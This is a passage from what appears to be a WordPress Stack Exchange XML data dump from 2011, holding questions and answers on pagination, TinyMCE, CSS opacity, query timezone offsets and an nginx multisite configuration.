&amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;(Pick a date from the calendar below)&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;div style=&quot;margin-bottom:5px;&quot; type=&quot;text&quot; id=&quot;datepicker&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                Date Selected: &amp;lt;input type=&quot;text&quot; id=&quot;thedate&quot; name=&quot;date&quot;/&amp;gt; &#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-23T22:58:56.850" CommentCount="2" />
  <row Id="23883" PostTypeId="1" AcceptedAnswerId="23897" CreationDate="2011-07-23T23:11:23.470" Score="0" ViewCount="30" Body="&lt;p&gt;Is there any way to create a simple user session on Wordpress, like a mini-membership kind of thing? Would this conflict with WP's general user sessions, or is it possible to set up a simple uesr/pass combo in your database and use this to create a sub-membership system?&lt;/p&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-24T01:23:13.123" Title="New User Sessions in Wordpress?" Tags="&lt;membership&gt;" AnswerCount="1" />
  <row Id="23884" PostTypeId="2" ParentId="23879" CreationDate="2011-07-23T23:17:39.507" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I want to do: Take my current website and my new blog. Then take the content from the site (database, scripts, data) and the design, look and feel plus the user administration from the blog and mix them together. Is this possible? Can it be done with today's technology? :P... &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Absolutely. Some implementations may be more complex than others, but at this point, WordPress can be massaged and extended to do just about anything.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is it legal? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&quot; rel=&quot;nofollow&quot;&gt;WordPress is released under GPL&lt;/a&gt;. You can do absolutely anything you want with it, and will be fully within the license. The GPL simply does not restrict end-user use in any way whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will it bother wordpress if I use their engine to manage my website, with them not getting anything in return?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See above. WordPress is a very strong advocate for &lt;a href=&quot;http://www.gnu.org/philosophy/free-sw.html&quot; rel=&quot;nofollow&quot;&gt;Free Software Philosophy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it you expect that the WordPress project wants in return?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to do this without digesting the whole wordpress engine by myself? has this been done before so I could follow a tutorial?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would start with the Codex entry for &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;Integrating WordPress into Your Website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-23T23:17:39.507" CommentCount="1" />
  <row Id="23885" PostTypeId="1" CreationDate="2011-07-23T23:23:41.027" Score="0" ViewCount="36" Body="&lt;p&gt;I have a custom post type called Brands and on the single-brands.php page I have a secondary loop that gets all the posts that are in a taxonomy. Everything works fine except I can't get the page to paginate. If I visit brand/brandname/page/2/ it just redirects me back to the brand/brandname/. This is driving me nuts please help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my secondary loop if that will help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?&amp;gt;&#xA;&amp;lt;?php $args = array(&#xA;        'post_type' =&amp;gt; 'products',&#xA;        'paged' =&amp;gt; $paged,&#xA;        'posts_per_page' =&amp;gt; 1,&#xA;        'caller_get_posts'=&amp;gt; 1,&#xA;        'tax_query' =&amp;gt; array(&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'brands',&#xA;                            'field' =&amp;gt; 'slug',&#xA;                            'terms' =&amp;gt; $slug&#xA;                        )&#xA;                    )   &#xA;&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4648" LastActivityDate="2011-07-23T23:23:41.027" Title="Pagination on Single Custom Post Type Pages" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;" CommentCount="1" />
  <row Id="23886" PostTypeId="1" AcceptedAnswerId="23888" CreationDate="2011-07-23T23:29:17.680" Score="0" ViewCount="38" Body="&lt;p&gt;I'm building a custom front end form for my theme and I'd like to use the Wordpress TinyMCE Rich Text Editor for it. Is there an easy way to invoke it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-07-24T00:15:52.510" Title="Insert Rich Text Editor in theme?" Tags="&lt;theme-development&gt;&lt;tinymce&gt;" AnswerCount="1" />
  <row Id="23887" PostTypeId="1" AcceptedAnswerId="23894" CreationDate="2011-07-23T23:59:28.790" Score="0" ViewCount="28" Body="&lt;p&gt;How can I find the page which was last modified on 2011-07-20T20:48:16+00:00 other than opening every page?&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-24T01:04:16.310" Title="Find Page Last Modified at Certain Date &amp; Time" Tags="&lt;page&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23888" PostTypeId="2" ParentId="23886" CreationDate="2011-07-24T00:15:52.510" Score="2" ViewCount="" Body="&lt;p&gt;Yes, use the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('tiny_mce');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will include the TinyMCE javascript. Then simply use TinyMCE as you wish&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; tinyMCE.init({&#xA;    mode : &quot;textareas&quot;,&#xA;    theme : &quot;advanced&quot;,&#xA;    plugins : &quot;autolink,lists,spellchecker,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template&quot;,&#xA;&#xA;    theme_advanced_buttons1 : &quot;save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect,fontselect,fontsizeselect&quot;,&#xA;    theme_advanced_buttons2 : &quot;cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor&quot;,&#xA;    theme_advanced_buttons3 : &quot;tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen&quot;,&#xA;    theme_advanced_buttons4 : &quot;insertlayer,moveforward,movebackward,absolute,|,styleprops,spellchecker,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,blockquote,pagebreak,|,insertfile,insertimage&quot;,&#xA;    theme_advanced_toolbar_location : &quot;top&quot;,&#xA;    theme_advanced_toolbar_align : &quot;left&quot;,&#xA;    theme_advanced_statusbar_location : &quot;bottom&quot;,&#xA;    theme_advanced_resizing : true,&#xA;&#xA;    skin : &quot;o2k7&quot;,&#xA;    skin_variant : &quot;silver&quot;,&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also opt to use a Wordpress plugin for TinyMCE, such as this &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE plugin for Wordpress&lt;/a&gt;, which is very popular.&lt;/p&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-24T00:15:52.510" CommentCount="1" />
  <row Id="23889" PostTypeId="1" AcceptedAnswerId="23903" CreationDate="2011-07-24T00:18:32.350" Score="-2" ViewCount="60" Body="&lt;p&gt;Ok, I have a custom post type to store list of urls. I would like to print those urls with serial numbers. I used foreach loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($urls as $url){&#xA;echo $url;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got n number of urls as output. But i want to print serial numbers in each url like 1,2,3 and so on.&#xA;I don't want to use unordered list. Because i want to style my serial numbers too. So is there any way to print serial numbers?  &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-28T15:20:01.023" Title="How to display serial numbers in foreach loop while querying posts?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23890" PostTypeId="1" CreationDate="2011-07-24T00:33:14.320" Score="-3" ViewCount="66" Body="&lt;p&gt;The code below makes both the background and the text transparent but how can I keep the text normal (opaque)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;background:#0066cc;&#xA;/* for IE */&#xA;filter:alpha(opacity=80);&#xA;/* CSS3 standard */&#xA;opacity:0.8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2495" LastActivityDate="2011-07-24T02:56:26.757" ClosedDate="2011-07-24T08:58:50.940" Title="How can I create a div with transparent background but opaque text?" Tags="&lt;css&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="23891" PostTypeId="2" ParentId="23890" CreationDate="2011-07-24T00:37:57.603" Score="0" ViewCount="" Body="&lt;p&gt;You will have to separate both elements, text and container. But that's not a wordpress related question.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-24T00:37:57.603" />
  <row Id="23892" PostTypeId="2" ParentId="23890" CreationDate="2011-07-24T00:48:10.470" Score="0" ViewCount="" Body="&lt;p&gt;Just set &#xA;    &#xA;        color: #000;&#xA;    &lt;/p&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-24T00:48:10.470" />
  <row Id="23894" PostTypeId="2" ParentId="23887" CreationDate="2011-07-24T01:04:16.310" Score="-1" ViewCount="" Body="&lt;p&gt;Okay, I've got it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in wp_posts table in phpmyadmin, clicked on the post_modified column to get it in chronological order, and looked for the appropriate datetime. &lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-24T01:04:16.310" CommentCount="0" />
  <row Id="23895" PostTypeId="2" ParentId="23864" CreationDate="2011-07-24T01:20:07.910" Score="0" ViewCount="" Body="&lt;p&gt;Okay, I ended up using the Google XML Sitemap plugin. You can input the post id's of the pages you want excluded from the sitemap. I excluded the pages with null links and now Google accepts the sitemap. &lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-24T01:20:07.910" />
  <row Id="23896" PostTypeId="2" ParentId="2521" CreationDate="2011-07-24T01:22:25.900" Score="0" ViewCount="" Body="&lt;p&gt;I just added this feature to the &lt;a href=&quot;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&quot; rel=&quot;nofollow&quot;&gt;beta branch&lt;/a&gt; of &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect&lt;/a&gt;. It pulls comments back from auto-published stories and integrates them into the normal comments stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Integrated with Auto-Publish. When you post, and it's auto-published to your Page or Profile, SFC notices and saves the resulting story IDs for later polling.&lt;/li&gt;&#xA;&lt;li&gt;Fast. Every 6 hours (maximum), comments are pulled from Facebook and cached locally. Comments are only pulled when needed, if nobody's looking at old posts, then FB comments are not pulled for it.&lt;/li&gt;&#xA;&lt;li&gt;The comments are added to the normal comments listing.&lt;/li&gt;&#xA;&lt;li&gt;FB Avatars are displayed for them.&lt;/li&gt;&#xA;&lt;li&gt;A &quot;facebook&quot; class is added to these comments for separate styling.&lt;/li&gt;&#xA;&lt;li&gt;Works with user comments or &quot;Page&quot; comments.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;TODO List for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a link back to the FB comment so people can reply there instead&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can get the current (mostly working) beta of SFC here: &lt;a href=&quot;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/simple-facebook-connect/branches/new-sfc/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-07-24T15:26:16.560" LastActivityDate="2011-07-24T15:26:16.560" CommentCount="1" />
  <row Id="23897" PostTypeId="2" ParentId="23883" CreationDate="2011-07-24T01:23:13.123" Score="0" ViewCount="" Body="&lt;p&gt;Instead of forcing Wordpress to have a custom membership system, if you want to use your own small membership feature, then you may not have to use sessions at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you want to password protect a specific set of pages, you could make one page require authentication, using a username and password like you mention. Once the user has accessed this page, validated by the database of users separate from wp_users, you can use ajax to keep this &quot;session&quot; (or appearance therefore) alive. That way you achieve your needed functionality without having to program something that kind of goes against the nature of the Wordpress system.&lt;/p&gt;&#xA;" OwnerUserId="2397" LastActivityDate="2011-07-24T01:23:13.123" CommentCount="1" />
  <row Id="23898" PostTypeId="1" CreationDate="2011-07-24T02:43:55.077" Score="0" ViewCount="26" Body="&lt;p&gt;Problem is that $today is pulling GMT from the database; I need to offset GMT by -6 hours; Have been unable to find a query with an offset like that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;&#xA;   $today = date('Y-m-d');&#xA;   query_posts(array(&#xA;   'post_type' =&amp;gt; 'performance', &#xA;   'posts_per_page' =&amp;gt; 4, &#xA;   'caller_get_posts' =&amp;gt; 4, &#xA;   'paged' =&amp;gt; $paged,&#xA;   'meta_key' =&amp;gt; 'order-date',&#xA;   'orderby' =&amp;gt; 'meta_value',&#xA;   'order' =&amp;gt; 'ASC',&#xA;       'meta_query' =&amp;gt; array(&#xA;           array(&#xA;             'key' =&amp;gt; 'order-date',&#xA;             'meta-value' =&amp;gt; $value,&#xA;             'value' =&amp;gt; $today,&#xA;             'compare' =&amp;gt; '&amp;gt;=',&#xA;             'type' =&amp;gt; 'CHAR'&#xA;         )&#xA;      )&#xA;    ));&#xA;  if (have_posts()) :&#xA;  while (have_posts()) : the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30" LastActivityDate="2011-08-25T08:34:31.180" Title="How do I add a timezone offset to this query?" Tags="&lt;query-posts&gt;&lt;offsets&gt;" AnswerCount="1" />
  <row Id="23899" PostTypeId="2" ParentId="23890" CreationDate="2011-07-24T02:56:26.757" Score="1" ViewCount="" Body="&lt;p&gt;The &quot;opacity&quot; declaration will apply to the entire div.  Rgba can be used by any element.  The first 3 numbers are the rgb color and the 4th is the transparency level. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#some-div {&#xA;    background: rgba(0, 0, 0, .8);&#xA;    color: #fff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-24T02:56:26.757" />
  <row Id="23900" PostTypeId="2" ParentId="17888" CreationDate="2011-07-24T03:14:26.140" Score="0" ViewCount="" Body="&lt;p&gt;The Nginx Multisite method outlined below has been tested and will work for subdomain Multisite installs and will also work with the domain mapping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simplify the process of making future changes the server files are organized into 3 separate files.  The first is nginx.conf which holds the basic configuration and tells the server where to find the vhosts.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;nginx.conf&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user www-data;&#xA;worker_processes 4;&#xA;pid /var/run/nginx.pid;&#xA;&#xA;events {&#xA;    worker_connections 1024;&#xA;    # multi_accept on;&#xA;}&#xA;&#xA;http {&#xA;    sendfile on;&#xA;    tcp_nopush on;&#xA;    tcp_nodelay on;&#xA;    server_tokens off;&#xA;    include mime.types;&#xA;    default_type  application/octet-stream;&#xA;    index index.php index.htm index.html redirect.php;&#xA;&#xA;    #Gzip&#xA;    gzip  on;&#xA;    gzip_vary on;&#xA;    gzip_proxied any;&#xA;    gzip_comp_level 6;&#xA;    gzip_buffers 16 8k;&#xA;    gzip_http_version 1.1;&#xA;    gzip_disable &quot;MSIE [1-6].(?!.*SV1)&quot;;&#xA;    gzip_types text/plain text/css application/json application/x-javascript text/xml&#xA;                        application/xml application/xml+rss text/javascript;&#xA;&#xA;    #FastCGI&#xA;    fastcgi_intercept_errors on;&#xA;    fastcgi_ignore_client_abort on;&#xA;    fastcgi_buffers 8 16k;&#xA;    fastcgi_buffer_size 32k;&#xA;    fastcgi_read_timeout 120;&#xA;    fastcgi_index  index.php;&#xA;&#xA;    limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s;&#xA;&#xA;    ##&#xA;    # Virtual Host Configs&#xA;    ##&#xA;    include /etc/nginx/sites-enabled/*;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next file will be the global WordPress include and will hold all our rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;wp-multi.conf&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_page 404 = @wordpress;&#xA;log_not_found off;&#xA;&#xA;location / {&#xA;    try_files $uri $uri/ /index.php?$args;&#xA;}&#xA;&#xA;rewrite /wp-admin$ $scheme://$host$uri/ permanent;&#xA;&#xA;location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {&#xA;    expires max;&#xA;    log_not_found off;&#xA;}&#xA;&#xA;rewrite ^/files/(.+) /wp-includes/ms-files.php?file=$1 last;&#xA;&#xA;location ^~ /files/ {&#xA;    rewrite ^.*/files/(.+)$ /wp-includes/ms-files.php?file=$1 last;&#xA;}&#xA;&#xA;# Rewrite multisite '.../wp-.*' and '.../*.php'.&#xA;if (!-e $request_filename) {&#xA;    rewrite ^/[_0-9a-zA-Z-]+(/wp-.*) $1 last;&#xA;    rewrite ^/[_0-9a-zA-Z-]+(/.*\.php)$ $1 last;&#xA;}&#xA;&#xA;location @wordpress {&#xA;        fastcgi_pass php;&#xA;        fastcgi_param SCRIPT_FILENAME $document_root/index.php;&#xA;        fastcgi_param  QUERY_STRING       $query_string;&#xA;        fastcgi_param  REQUEST_METHOD     $request_method;&#xA;        fastcgi_param  CONTENT_TYPE       $content_type;&#xA;        fastcgi_param  CONTENT_LENGTH     $content_length;&#xA;&#xA;        fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;&#xA;        fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;&#xA;        fastcgi_param  REQUEST_URI        $request_uri;&#xA;        fastcgi_param  DOCUMENT_URI       $document_uri;&#xA;        fastcgi_param  DOCUMENT_ROOT      $document_root;&#xA;        fastcgi_param  SERVER_PROTOCOL    $server_protocol;&#xA;&#xA;        fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;&#xA;        fastcgi_param  SERVER_SOFTWARE    nginx;&#xA;&#xA;        fastcgi_param  REMOTE_ADDR        $remote_addr;&#xA;        fastcgi_param  REMOTE_PORT        $remote_port;&#xA;        fastcgi_param  SERVER_ADDR        $server_addr;&#xA;        fastcgi_param  SERVER_PORT        $server_port;&#xA;        fastcgi_param  SERVER_NAME        $server_name;&#xA;&#xA;        fastcgi_pass 127.0.0.1:9000;&#xA;        fastcgi_param SCRIPT_NAME /index.php;&#xA;}&#xA;&#xA;location ~ \.php$ {&#xA;    try_files $uri @wordpress;&#xA;    fastcgi_index index.php;&#xA;    fastcgi_pass php;&#xA;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;    fastcgi_param  QUERY_STRING       $query_string;&#xA;        fastcgi_param  REQUEST_METHOD     $request_method;&#xA;        fastcgi_param  CONTENT_TYPE       $content_type;&#xA;        fastcgi_param  CONTENT_LENGTH     $content_length;&#xA;&#xA;        fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;&#xA;        fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;&#xA;        fastcgi_param  REQUEST_URI        $request_uri;&#xA;        fastcgi_param  DOCUMENT_URI       $document_uri;&#xA;        fastcgi_param  DOCUMENT_ROOT      $document_root;&#xA;        fastcgi_param  SERVER_PROTOCOL    $server_protocol;&#xA;&#xA;        fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;&#xA;        fastcgi_param  SERVER_SOFTWARE    nginx;&#xA;&#xA;        fastcgi_param  REMOTE_ADDR        $remote_addr;&#xA;        fastcgi_param  REMOTE_PORT        $remote_port;&#xA;        fastcgi_param  SERVER_ADDR        $server_addr;&#xA;        fastcgi_param  SERVER_PORT        $server_port;&#xA;        fastcgi_param  SERVER_NAME        $server_name;&#xA;&#xA;        fastcgi_pass 127.0.0.1:9000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The third file is our vhosts.  If your using the domain mapping plugin you can include 1 line for each domain mapped site.  You can also add additional static sites to this file if needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;     listen 80;&#xA;    #Add a server_name entry for each mapped domain&#xA;&#xA;    server_name star.main-multisite-domain.com *.main-multisite.com;&#xA;    server_name mapped-domain.com www.mapped-domain.com;&#xA;    server_name mapped-domain-2.com www.mapped-domain-2.com;&#xA;    server_name mapped-domain-3.com www.mapped-domain-3.com;&#xA;&#xA;    root /srv/www/wordpress/public;&#xA;    access_log /srv/www/wordpress/logs/access.log;&#xA;    error_log /srv/www/wordpress/logs/error.log;&#xA;    index index.php index.html index.htm;&#xA;&#xA;        #The Multisite rules are in the include below&#xA;    include global-wp-multi.conf;&#xA;}&#xA;&#xA;#Begin Static Non WP Sites&#xA;#Repeat the vhosts below for each additional static site.  Make sure you make each one a root directory&#xA;server {&#xA;&#xA;    server_name static-non-wp-domain.com www.static-non-wp-domain.com;&#xA;    root /srv/www/static-non-wp-domain/public;&#xA;&#xA;        error_log /srv/www/static-non-wp-domain/logs/error.log;&#xA;    index index.php index.html index.htm;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For further reading on using WordPress with Nginx see: &lt;a href=&quot;http://c3mdigital.com/2011/07/22/wordpress-performance-server/&quot; rel=&quot;nofollow&quot;&gt;WordPress Performance Server - Nginx - Debian &quot;squeeze&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-24T03:14:26.140" />
  <row Id="23901" PostTypeId="2" ParentId="22537" CreationDate="2011-07-24T04:16:06.620" Score="0" ViewCount="" Body="&lt;p&gt;Well, since I essentially came up with my own answer using what was posted (which didn't really work) plus some extra research, I am going to close this question, even though I sort of added an additional question;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, using code from @Manny Fleurmond below, and from this post: Title_save_pre - Simple problem that u know for sure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function taxonomy_title_rename($title) {&#xA;    global $post;&#xA;    $type = get_post_type($post-&amp;gt;ID);&#xA;    if ($type== 'CUSTOM_POST_TYPE') {&#xA;            if($post-&amp;gt;post_type === 'CUSTOM_POST_TYPE') {&#xA;        $terms = wp_get_object_terms($post-&amp;gt;ID, 'MY_TAXONOMY');&#xA;        if(!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms)) {&#xA;            $title = $terms[0]-&amp;gt;name;&#xA;        }&#xA;        }&#xA;    return $title;&#xA;}&#xA;     else if ($type != 'CUSTOM_POST_TYPE') {&#xA;       return $title;&#xA;    }&#xA;    }&#xA;    add_filter ('title_save_pre','taxonomy_title_rename');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is actually saving the post title to the post from the taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2011-07-24T04:16:06.620" />
  <row Id="23902" PostTypeId="2" ParentId="20926" CreationDate="2011-07-24T05:00:21.733" Score="0" ViewCount="" Body="&lt;p&gt;You may wanna try something like this :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;        $lang = qtrans_getLanguage();&#xA;        if ($lang==&quot;en&quot;) {&#xA;              echo 'ENGLISH TEXT HERE';&#xA;        } else if ($lang==&quot;fr&quot;) {&#xA;              echo 'FRENCH TEXT HERE';&#xA;        } &#xA;  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7287" LastActivityDate="2011-07-24T05:00:21.733" />
  <row Id="23903" PostTypeId="2" ParentId="23889" CreationDate="2011-07-24T08:40:47.873" Score="0" ViewCount="" Body="&lt;p&gt;How about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;$sn_count = 1;&#xA;foreach($urls as $url){&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;span class=&quot;serial-number&quot;&amp;gt;'.$sn_count.'&amp;lt;/span&amp;gt; '.$url .'&amp;lt;/li&amp;gt;';&#xA;    $sn_count++;&#xA;}&#xA;&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then style your serial numbers with the &lt;code&gt;serial-number&lt;/code&gt; class.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-28T15:20:01.023" LastActivityDate="2011-07-28T15:20:01.023" CommentCount="3" />
  <row Id="23904" PostTypeId="2" ParentId="23898" CreationDate="2011-07-24T09:04:29.973" Score="1" ViewCount="" Body="&lt;p&gt;Is WP set to that -6 offset you need? In that case try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/date_i18n&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;date_i18n()&lt;/code&gt;&lt;/a&gt; to generate your date instead of &lt;code&gt;date()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-24T09:04:29.973" CommentCount="2" />
  <row Id="23906" PostTypeId="1" CreationDate="2011-07-24T09:40:29.230" Score="0" ViewCount="104" Body="&lt;p&gt;How come the default theme Twenty Eleven fails validation test, both for HTML5 and CSS3? I checked: &lt;a href=&quot;http://twentyelevendemo.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;http://twentyelevendemo.wordpress.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be bothered that the validation fails?&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-07-24T10:51:03.713" Title="Twenty Eleven NOT valid" Tags="&lt;themes&gt;&lt;theme-twenty-eleven&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23907" PostTypeId="1" CreationDate="2011-07-23T21:04:02.287" Score="1" ViewCount="23" Body="&lt;p&gt;I am trying to make a simple plugin that will output the URL and title of a post. It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/test-2/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/test-2/&lt;/a&gt;{Test 2}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I use the code that I posted below, it prints as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/test-2/Test&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/test-2/Test&lt;/a&gt; 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out why. I've tried to escape them, separating each bracket into a string and combining them, but nothing seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function P2S_menu(){&#xA;    echo '&amp;lt;h1&amp;gt;This is a Test&amp;lt;/h1&amp;gt;';&#xA;&#xA;    $query = new WP_Query($query_string . '&amp;amp;orderby=title&amp;amp;order=asc&amp;amp;posts_per_page=-1');&#xA;    while($query-&amp;gt;have_posts()){&#xA;        $query-&amp;gt;the_post();&#xA;        $url = the_permalink();&#xA;        $keyword = the_title();&#xA;        Print('&amp;lt;p&amp;gt;' . $url . '&amp;amp;#123;' . $keyword . 